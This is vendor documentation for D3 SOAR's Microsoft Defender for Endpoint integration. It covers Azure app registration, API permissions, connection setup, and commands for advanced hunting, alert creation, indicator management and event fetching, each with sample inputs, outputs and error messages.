Microsoft Defender for Endpoint (previously Microsoft Defender Advanced Threat Protection) protects endpoints from cyber threats, detects attacks and infringements of data, and automates security incidents. Integration with Microsoft Defender for Endpoint covers the major actions such as quarantine host, scan host, get alerts, update alert, and so on.
D3 SOAR is providing REST operations to function with Microsoft Defender for Endpoint.
Microsoft Defender for Endpoint is available for use in:
A server error may occur when accessing the service. This may be fixed by allowing cookies in your web browser settings.
Some elements or data may be missing on Microsoft 365 Defender. They may be blocked by proxy settings. Ensure *.security.microsoft.com is included in the proxy allowlist.
If devices successfully complete onboarding but Microsoft Defender for Endpoint does not start after a reboot and returns error 577, ensure Windows Defender has not been disabled by a policy.
There are some known issues with the time and date formats.
The following date formats are supported:
MM/dd/yyyy
dd/MM/yyyy
The following date and time formats are currently not supported:
yyyy/MM/dd
dd/MM/yy
Date formats with yy. Only yyyy will be shown for year.
HH:mm:ss (12-hour AM/PM format). Only the 24-hour time format is supported.
Commas cannot be used as a separator for numbers. Regions that use commas as the thousands separator, will be replaced by a period. For example, 15,5K will be displayed as 15.5K.
To connect Microsoft Defender for Endpoint from D3 SOAR, please follow this part to collect the required information below:
Parameter
Description
Example
Directory (tenant) ID
The directory ID to authenticate the API connection.
f62***-455f-8ee9-***Eed
Client ID
The client ID to authenticate the API connection.
9c8***-de31-9W68-***f8a
Client Secret
The client secret to authenticate the API connection.
o14*************817
Permission Requirements
Each endpoint in the Microsoft Defender for Endpoint API requires a certain permission scope. The following are required scopes for the commands in this integration:
Navigate to the top search bar, then search and select App registrations.
If you already have created apps, you can use one of them. Skip to step 5 to obtain the Client ID & Tenant ID. If you do not have an app, click + New registration to create one.
Register the application.
Enter an application Name.
For Supported account types, select Accounts in this organizational directory only (<Your Directory Name> only - Single tenant).
Click Register.
In the App Overview tab, copy and save the Application(client) ID and Directory(tenant) ID. They will be required to build the integration connection in D3 SOAR. Navigate to Client credentials, then click Add a certificate or secret.
Click + New Client Secret. Enter a Description for the client secret, and select a client secret expiry period using the Expires dropdown menu. Click Add.Note: The client ID will not be able to access the API resources after the client secret expires. You must renew the client secret to keep the client ID active.
Copy and save the Secret Value. It will be required to build the integration connection in D3 SOAR connection. Note: The created Client Secret can only be viewed once. Store it in a secure location before leaving the page.
Configure the API permissions. Click API permissions on the left navigation menu, then click + Add a permission.
Select the APIs my organization uses tab and type WindowsDefenderATP in the search box. Select WindowsDefenderATP when it populates below the search box.
Select the required Application permissions. After selecting the required permission, click Add permissions.
READER NOTE
An error message may occur if you have inadvertently selected a different permission type for this integration. When selecting permissions, it is necessary to differentiate between Delegated Permissions and Application Permissions.
Delegated Permissions, often referred to as “scopes”, empower the application to operate on behalf of the signed-in user.
Application Permissions, also known as “app roles”, enable the application to access data independently. Application Permissions are suitable to use when it is undesirable to have a user signed in, or when the data required cannot be scoped to a single user.
Check the tick boxes for Alert.Read.All and Alert.ReadWrite.All in the Alert section, then click Add permissions. See Permission Requirements for the required permissions for each command in this integration.
Some permissions may need to be granted admin consent for your directory (d3uat in the sample screenshot) to use. Ensure Grant admin consent for <Your Directory> is checked.
You may see Not granted for <Your Directory> in the status column. Those are the ungranted permissions you want to use. After successfully granting permissions, a green checkmark will appear under the permission status column for the corresponding permissions. If your login account does not have admin privileges, ask your admin to grant consent.
Configuring D3 SOAR to Work with Microsoft Defender for Endpoint
Log in to D3 SOAR.
Find the Microsoft Defender for Endpoint integration.
Navigate to Configuration on the top header menu.
Click on the Integration icon on the left sidebar.
Type Microsoft Defender for Endpoint in the search box to find the integration, then click it to select it.
Click + New Connection, on the right side of the Connections section. A new connection window will appear.
Configure the following fields to create a connection to Microsoft Defender for Endpoint.
Connection Name: The desired name for the connection.
Site: Specifies the site to use the integration connection. Use the drop-down menu to select the site. The Share to Internal Sites option enables all sites defined as internal sites to use the connection. Selecting a specific site will only enable that site to use the connection.
Recipient site for events from connections Shared to Internal Sites: This field appears if you selected Share to Internal Sites for Site to let you select the internal site to deploy the integration connection.
Agent Name (Optional): Specifies the proxy agent required to build the connection. Use the dropdown menu to select the proxy agent from a list of previously configured proxy agents.
Description (Optional): Add your desired description for the connection.
Configure User Permissions: Defines which users have access to the connection.
Active: Check the tick box to ensure the connection is available for use.
System: This section contains the parameters defined specifically for the integration. These parameters must be configured to create the integration connection.
Enable Password Vault: An optional feature that allows users to take the stored credentials from their own password vault. Please refer to the password vault connection guide if needed.
Test the connection.
Click Test Connection to verify the account credentials and network connection. If the Test Connection Passed alert window appears, the test connection is successful. You will see Passed with a green checkmarkappear beside the Test Connection button. If the test connection fails, please check your connection parameters and try again.
Click OK to close the alert window.
Click +Add to create and add the configured connection.
Commands
Microsoft Defender for Endpoint includes the following executable commands for users to set up schedules or create playbook workflows. With the Test Command, you can execute these commands independently for playbook troubleshooting.
The input format of time-related parameters may vary based on your account settings. As a result, the sample data provided in our commands is different from what you see. To set your preferred time format, follow these steps:
Navigate to Configuration > Application Settings. Select Date/Time Format.
Choose your desired date and time format.
After that, you will be able to view your preferred time format when configuring the DateTime input parameters for commands.
Run Advanced Hunting Queries
Runs advanced hunting queries on Microsoft Defender for Endpoint. If you want to query email-related tables or other Microsoft 365 defender tables, please run the Advanced Hunting command from the Microsoft 365 Defender integration. Note: In order to run this command, your APP requires the AdvancedQuery.Read.All permission. Additionally, the command can only query data from the past 30 days.
READER NOTE
Limitations for this command:
You can only run a query on data from the last 30 days.
The results can include a maximum of 100,000 rows.
The number of executions is limited per tenant:
API calls: Up to 45 calls per minute, up to 1500 calls per hour.
Execution time: 10 minutes of running time every hour and 3 hours of running time a day.
The maximal execution time for a single request is 200 seconds.
429 response will represent reaching quota limit either by number of requests or by CPU. Read the response body to understand what limit has been reached.
The maximum query result size for a single request cannot exceed 124 MB. If exceeded, the HTTP 400 Bad Request error with the message "Query execution has exceeded the allowed result size. Optimize your query by limiting the number of results and try again" will return.
Please refer to Advanced hunting API from Microsoft’s documentation for more details.
Input
Input Parameter
Required /Optional
Description
Example
Query
Required
The Kusto query string to search for results. For more information about Kusto Query Language (KQL), please refer to Kusto Query Language (KQL) overview from Microsoft’s documentation.
union DeviceProcessEvents, DeviceNetworkEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName =~ 'powershell.exe'
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Run Advanced Hunting Queries failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Failed to resolve scalar expression named 'XXX'. Fix semantic errors in your query.
Error Sample Data
Run Advanced Hunting Queries failed.
Status Code: 400.
Message: Failed to resolve scalar expression named 'XXX'. Fix semantic errors in your query.
Create Alert
Creates an alert based on event data obtained from Advanced Query.
Warning
To obtain Event Time, Machine ID, and Report ID, you must define the project operators' project Timestamp, DeviceId, ReportId using the Advanced Query command.
READER NOTE
Machine ID, Event Time and Report ID are required parameters to run this command.
Run the Run Advanced Hunting Queries command to obtain Machine IDs, Event Time and Report IDs. Machine IDs can be found in the raw data at the path $.results[*].machineId.
These three input parameters must match in order to run this command. Run the Run Advanced Hunting Queries command and select the three corresponding values from the same JSON object in the returned raw data. If the values do not match, the error message “NotFound” will be returned.
Limitations for this command:
The rate limitation for this API is 15 calls per minute.
The ID of the device on which the event was identified. Machine IDs can be obtained using the Run Advanced Hunting Queries command.
*****************
Severity
Required
The severity of the alert. The available severity levels are: Low, Medium and High.
Low
Title
Required
The title for the alert.
example
Description
Required
The description for the alert.
example alert
Recommended Action
Required
The recommended course of action for the security officer when analyzing the alert.
nothing
Event Time
Required
The precise time (in UTC Time) of the event, as obtained from the Run Advanced Hunting Queries command. For example, 2020-08-03T16:45:21.7115183Z.
2020-07-29T21:35:33.2061566Z
Report ID
Required
The Report ID of the event, as obtained from advanced hunting. Report IDs can be obtained using the Run Advanced Hunting Queries command.
*****
Category
Required
The category of the alert. The available category values are: General CommandAndControl, Collection, CredentialAccess, DefenseEvasion, Discovery, Exfiltration, Exploit, Execution, InitialAccess, LateralMovement, Malware, Persistence, PrivilegeEscalation, Ransomware, and SuspiciousActivity.
Exploit
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@odata.context
https://api.securitycenter.microsoft.com/api/***
id
*****
incidentId
***
investigationId
***
assignedTo
Automation
severity
Low
status
Resolved
classification
determination
investigationState
Benign
detectionSource
CustomerTI
category
Exploit
threatFamilyName
title
example
description
example alert
alertCreationTime
7/30/2020 11:07:33 PM
firstEventTime
7/29/2020 9:35:33 PM
lastEventTime
7/29/2020 9:35:33 PM
lastUpdateTime
7/30/2020 11:19:17 PM
resolvedTime
7/30/2020 11:19:16 PM
machineId
*****
computerDnsName
***-***-***
rbacGroupName
aadTenantId
*****
mitreTechniques
relatedUser
comments
evidence
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: NotFound.
Error Sample Data
Create Alert failed.
Status Code: 404.
Message: NotFound.
Create Domain Indicator
Creates a domain indicator.
READER NOTE
The parameter rbac Group Names is optional to run this command.
To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The indicator alert title.
test
Description
Required
The description of the indicator.
test
Expiration Time
Optional
The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The severity of the indicator. The available input options are Informational, Low, Medium, and High.
Informational
Recommended Actions
Optional
The recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["group1", "group2"]
Generate Alert
Optional
True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.
True
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***
}
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@odata.context
https://api.securitycenter.microsoft.com/api/***
id
***
indicatorValue
d3security.com
indicatorType
DomainName
action
AlertAndBlock
createdBy
*****
severity
Informational
category
1
application
demo-test
educateUrl
bypassDurationHours
title
test
description
test
recommendedActions
nothing
creationTimeDateTimeUtc
4/15/2021 9:09:10 PM
expirationTime
12/12/2022 12:00:00 AM
lastUpdateTime
4/15/2021 9:51:58 PM
lastUpdatedBy
*****
rbacGroupNames
rbacGroupIds
notificationId
notificationBody
version
mitreTechniques
historicalDetection
False
lookBackPeriod
generateAlert
False
additionalInfo
createdByDisplayName
*****
externalId
createdBySource
PublicApi
certificateInfo
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create Domain Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Request body is incorrect.
Error Sample Data
Create Domain Indicator failed.
Status Code: 400.
Message: Request body is incorrect.
Create File Indicator
Creates a file indicator.
READER NOTE
The parameter rbac Group Names is optional to run this command.
To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
The file hash type (i.e. FileSha1 or FileSha256 of the specified hash value.)
FileSha1
Action
Required
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The indicator alert title.
test
Description
Required
The description of the indicator.
test
Expiration Time
Optional
The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The severity of the indicator. The available input options are Informational, Low, Medium, and High.
Informational
Recommended Actions
Optional
The recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["group1", "group2"]
Generate Alert
Optional
True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.
True
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***
}
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@odata.context
https://api.securitycenter.microsoft.com/api/***
id
*****
indicatorValue
*****
indicatorType
FileSha1
action
AlertAndBlock
createdBy
*****
severity
Informational
category
1
application
demo-test
educateUrl
bypassDurationHours
title
test
description
test
recommendedActions
nothing
creationTimeDateTimeUtc
4/15/2021 5:45:47 PM
expirationTime
12/12/2022 12:00:00 AM
lastUpdateTime
4/15/2021 9:51:48 PM
lastUpdatedBy
*****
rbacGroupNames
rbacGroupIds
notificationId
notificationBody
version
mitreTechniques
historicalDetection
False
lookBackPeriod
generateAlert
False
additionalInfo
createdByDisplayName
***
externalId
createdBySource
PublicApi
certificateInfo
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create File Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: File SHA1 XXX is invalid.
Error Sample Data
Create File Indicator failed.
Status Code: 400.
Message: File SHA1 XXX is invalid.
Create IP Indicator
Creates an IP indicator.
READER NOTE
The parameter rbac Group Names is optional to run this command.
To obtain rbac Group Names, you will need to find them on the Microsoft Defender for Endpoint platform under Permissions > Device groups. If the input group names are not found in the device groups, an error will return.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
There is a limit of 15,000 active indicators per tenant.
The action that will be taken if the indicator will be discovered in the organization. The available actions are Alert, AlertAndBlock, and Allowed.
AlertAndBlock
Application
Optional
The application associated with the indicator. This field only works for new indicators. It will not update the value on an existing indicator.
demo-test
Title
Required
The indicator alert title.
test
Description
Required
The description of the indicator.
test
Expiration Time
Optional
The expiration time of the indicator. For example, 2022-12-12T00:00:00Z.
2022-12-12T00:00:00Z
Severity
Optional
The severity of the indicator. The available input options are Informational, Low, Medium, and High. If not specified, the default value is Informational.
Informational
Recommended Actions
Optional
The recommended actions for the indicator alert.
nothing
rbac Group Names
Optional
A comma-separated list of RBAC group names to apply the indicator to. The input RBAC device groups are where the indicator will be exposed and active. The indicators created for some target groups will be exposed to all devices in the group. Leave this parameter if you want to avoid unwanted access exposure.
RBAC group names can be found on the Microsoft Defender for Endpoint platform under Permissions > Device groups.
["group1", "group2"]
Generate Alert
Optional
True if alert generation is required, False if this indicator should not generate an alert. If not specified, the default value is True.
True
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"ID": ***
}
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@odata.context
https://api.securitycenter.microsoft.com/api/***
id
***
indicatorValue
***.***.***.***
indicatorType
IpAddress
action
AlertAndBlock
createdBy
*****
severity
Informational
category
1
application
demo-test
educateUrl
bypassDurationHours
title
test
description
test
recommendedActions
nothing
creationTimeDateTimeUtc
4/15/2021 5:45:13 PM
expirationTime
12/12/2022 12:00:00 AM
lastUpdateTime
4/15/2021 9:51:38 PM
lastUpdatedBy
*****
rbacGroupNames
rbacGroupIds
notificationId
notificationBody
version
mitreTechniques
historicalDetection
False
lookBackPeriod
generateAlert
False
additionalInfo
createdByDisplayName
***
externalId
createdBySource
PublicApi
certificateInfo
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Create IP Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: IP XXX is invalid.
Error Sample Data
Create IP Indicator failed.
Status Code: 400.
Message: IP XXX is invalid.
Delete Indicator
Deletes an Indicator entity by ID.
READER NOTE
The parameter Indicator IDs is required to run this command.
Run the List Indicator command to obtain Indicator IDs. Indicator IDs can be found in the returned raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The ID(s) of the indicator(s) to delete in an array format. Indicator IDs can be obtained using the List Indicator command.
["*","*","*","*"]
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Raw Data
The primary response data from the API request.
D3 enriches the raw data from the original Microsoft Defender for Endpoint API response by adding the id field to indicate which indicator ids have been deleted; adding the status field to indicate the status of deletion.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"*",
"*",
"*",
"*"
]
}
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
STATUS
15
deleted
5
deleted
4
deleted
2
deleted
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Delete Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Received request with not existing indicators: 1.
Error Sample Data
Delete Indicator failed.
Status Code: 404.
Message: Received request with not existing indicators: 1.
Fetch Event
Retrieves events from Microsoft Defender for Endpoint based on the alert creation time, sorted in ascending order.
READER NOTE
Limitations for this command:
You can get alerts last updated according to your configured retention period.
Maximum page size is 10,000.
The Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Note: Not all properties are filterable. The available properties that support $filter for Alert are alertCreationTime, lastUpdateTime, incidentId, InvestigationId, status, severity, and category.
status eq 'New'
Tolerance Scope
Optional
The tolerance scope in minutes of the query to fetch events between start and end time to avoid the loss of events. Events will be fetched between {Start Time - Tolerance Scope}.
0
Output
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"Alert Ids": [
"*****"
]
}
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
***
INCIDENTID
***
INVESTIGATIONID
***
ASSIGNEDTO
SEVERITY
Low
STATUS
New
CLASSIFICATION
DETERMINATION
INVESTIGATIONSTATE
TerminatedBySystem
DETECTIONSOURCE
CustomerTI
DETECTORID
***
CATEGORY
Exploit
THREATFAMILYNAME
TITLE
Example
DESCRIPTION
Example alert
ALERTCREATIONTIME
8/17/2020 9:11:48 PM
FIRSTEVENTTIME
7/29/2020 9:35:33 PM
LASTEVENTTIME
7/29/2020 9:35:33 PM
LASTUPDATETIME
8/20/2020 9:15:36 PM
RESOLVEDTIME
MACHINEID
***
COMPUTERDNSNAME
***-***-***
RBACGROUPNAME
AADTENANTID
***
THREATNAME
MITRETECHNIQUES
[]
RELATEDUSER
COMMENTS
[]
EVIDENCE
[]
Fetch Event Field Mapping
Please note that Fetch Event commands require event field mapping. Field mapping plays a key role in the data normalization process part of the event pipeline. Field mapping converts the original data fields from the different providers to the D3 fields which are standardized by the D3 Model. Please refer to Event and Incident Intake Field Mapping for details.
If you require a custom field mapping, click +Add Field to add a custom field mapping. You may also remove built-in field mappings by clicking x. Please note that two underscore characters will automatically prefix the defined Field Name as the System Name for a custom field mapping. Additionally, if an input Field Name contains any spaces, they will automatically be replaced with underscores for the corresponding System Name.
As a system integration, the Microsoft Defender for Endpoint integration has some pre-configured field mappings for default field mapping.
Default Event Source The Default Event Source is the default set of field mappings that is applied when this fetch event command is executed. For out-of-the-box integrations, you will find a set of field mapping provided by the system. Default event source provides field mappings for common fields from fetched events (e.g., Host and Tenant ID). The default event source has a “Main Event JSON Path” (i.e., $.value) that is used to extract a batch of events from the response raw data. Click Edit Event Source to view the “Main Event JSON Path”. Click Edit Event Source to view the “Main Event JSON Path”.
Main Event JSON Path: $.value The Main Event JSON Path determines the root path where the system starts parsing raw response data into D3 event data. The JSON path begins with $, representing the root element. The path is formed by appending a sequence of child elements to $, each separated by a dot (.). Square brackets with nested quotation marks ([‘...’]) should be used to separate child elements in JSON arrays. For example, the root node of a JSON Path is value. The child node denoting the Event code field would be id. Putting it together, the JSON Path expression to extract the Event code is $.value.id.
The pre-configured field mappings are detailed below:
Field Name
Source Field
Event code
.id
Severity
.severity
Source vendor name
.detectionSource
Category
.category
Title
.title
None
.description
Creation Time
.alertCreationTime
Host
.computerDnsName
Tenant ID
.aadTenantId
Techniques
.aadTenantId.mitreTechniques
Username
.relatedUser.userName
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Fetch Event failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Error Sample Data
Fetch Event failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Alert.ReadWrite.All, Alert.Read.All) to access the resource.
Fetch Related Events
Retrieves related events from Microsoft Defender for Endpoint based on the alert creation time, sorted in ascending order.
READER NOTE
Limitations for this command:
You can get alerts last updated according to your configured retention period.
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
Note: Not all properties are filterable. The available properties that support $filter for Alert are alertCreationTime, lastUpdateTime, incidentId, InvestigationId, status, severity, and category.
status eq 'New'
Tolerance Scope
Optional
The tolerance scope in minutes of the query to fetch events between start and end time to avoid the loss of events. Events will be fetched between {Start Time - Tolerance Scope}. The default value is 0.
0
Output
Raw Data
The primary response data from the API request.
SAMPLE DATA
JSON
{
"@odata.context": "https://api.securitycenter.microsoft.com/api/***",
"value": [
{
"id": "*****",
"incidentId": ***,
"investigationId": ***,
"assignedTo": "Administrator",
"severity": "Medium",
"status": "New",
"classification": null,
"determination": null,
"investigationState": "UnsupportedAlertType",
"detectionSource": "WindowsDefenderAtp",
"detectorId": "*****",
"category": "Execution",
"threatFamilyName": null,
"title": "Suspicious PowerShell command line",
"description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
"alertCreationTime": "2021-04-10T00:09:06.455105Z",
"firstEventTime": "2021-04-09T23:50:47.0400904Z",
"lastEventTime": "2021-04-09T23:50:47.0400904Z",
"lastUpdateTime": "2021-04-19T22:03:52.0666667Z",
"resolvedTime": null,
"machineId": "*****",
